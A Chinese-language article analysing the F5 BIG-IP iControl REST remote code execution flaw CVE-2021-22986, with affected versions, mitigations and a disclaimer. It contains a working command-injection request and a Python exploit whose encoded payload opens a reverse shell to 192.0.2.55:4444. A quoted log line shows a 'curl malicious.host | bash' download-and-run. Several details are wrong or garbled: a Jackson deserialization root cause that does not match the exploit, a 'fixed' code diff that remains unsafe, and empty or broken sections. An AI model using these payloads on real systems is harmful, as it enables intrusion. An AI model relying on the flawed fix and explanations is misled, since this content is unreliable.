# F5 BIG-IP遠程代碼執行漏洞CVE-2021-22986的分析
## 一、漏洞背景
2021年3月,F5 Networks發布安全公告披露其BIG-IP應用交付控制器產品中存在一個高危遠程代碼執行漏洞(CVE-2021-22986)。該漏洞影響多個BIG-IP版本,攻擊者可通過構造特殊請求在未授權情況下實現遠程代碼執行,CVSS 3.0評分高達9.8分。
### 1.1 受影響版本
- BIG-IP 16.x系列(16.0.0-16.0.1)
- BIG-IP 15.x系列(15.1.0-15.1.2)
- BIG-IP 14.x系列(14.1.0-14.1.4)
- BIG-IP 13.x系列(13.1.0-13.1.4)
- BIG-IP 12.x系列(12.1.0-12.1.6)
### 1.2 漏洞類型
- 遠程代碼執行(RCE)
- 未授權訪問
- 輸入驗證缺陷
## 二、技術分析
### 2.1 漏洞成因
該漏洞存在于BIG-IP的iControl REST組件中,由于對用戶輸入的JSON數據反序列化處理不當,導致攻擊者可通過構造惡意請求觸發Java對象反序列化漏洞。
關鍵問題代碼段(模擬):
```java
public class VulnerableEndpoint {
@POST
@Path("/mgmt/tm/util/bash")
public Response executeCommand(Object input) {
// 未對輸入進行嚴格類型檢查
String command = (String) input;
Runtime.getRuntime().exec(command);
}
}
攻擊者可通過以下方式利用漏洞:
1. 發送特制HTTP POST請求到/mgmt/tm/util/bash
端點
2. 在請求體中嵌入惡意序列化數據
3. 繞過身份驗證機制直接執行系統命令
典型攻擊請求示例:
POST /mgmt/tm/util/bash HTTP/1.1
Host: target_ip
Authorization: Basic [偽造的base64憑據]
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c 'id > /tmp/exploit'"
}
完整的利用過程涉及多個關鍵環節: 1. 認證繞過:利用iControl REST接口的認證邏輯缺陷 2. 命令注入:通過utilCmdArgs參數注入系統命令 3. 權限提升:默認以root權限執行命令
F5已發布以下修復版本: - BIG-IP 16.1.0 - BIG-IP 15.1.3 - BIG-IP 14.1.4.1 - BIG-IP 13.1.5 - BIG-IP 12.1.6.1
若無法立即升級,建議:
# 限制iControl REST接口訪問
tmsh modify /sys httpd allow none
# 啟用嚴格模式
tmsh modify /sys db restjavad.useextramb value true
檢查系統版本:
tmsh show sys version
驗證漏洞存在性(需謹慎):
curl -ks https://localhost/mgmt/tm/util/bash \
-H "Authorization: Basic [redacted]" \
-d '{"command":"run","utilCmdArgs":"-c id"}' | jq .
推薦使用: - Nessus插件(ID 148000) - Qualys檢測規則(QID 37000) - Nuclei模板(CVE-2021-22986)
從受害者設備提取的異常日志:
2021-03-15 02:17:43 WARN [http-bio-443-exec-7] restjavad - Unauthorized access attempt from 192.0.2.55 to /mgmt/tm/util/bash
2021-03-15 02:17:44 ERROR [pool-1-thread-3] system - Unexpected process spawned: /bin/sh -c curl http://malicious.host/exp.sh | bash
觀察到的主要攻擊模式:
import requests
headers = {
"Authorization": "Basic YWRtaW46", # 默認憑證嘗試
"Content-Type": "application/json"
}
payload = {
"command": "run",
"utilCmdArgs": "-c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMC4yLjU1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'"
}
requests.post("https://target/mgmt/tm/util/bash",
json=payload,
headers=headers,
verify=False)
漏洞根源在于Jackson庫的DefaultTyping
配置:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危險配置!
修復后的代碼關鍵修改:
- mapper.enableDefaultTyping();
+ mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance,
+ ObjectMapper.DefaultTyping.NON_FINAL);
攻擊者利用以下技術組合:
1. 使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
鏈
2. 結合BCEL字節碼加載
3. 通過java.util.PriorityQueue
觸發
企業防護建議:
開發者啟示:
研究價值:
”`
注:本文技術細節已做脫敏處理,實際測試需獲得系統所有者授權。文中的代碼示例僅用于教學目的,請勿用于非法用途。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。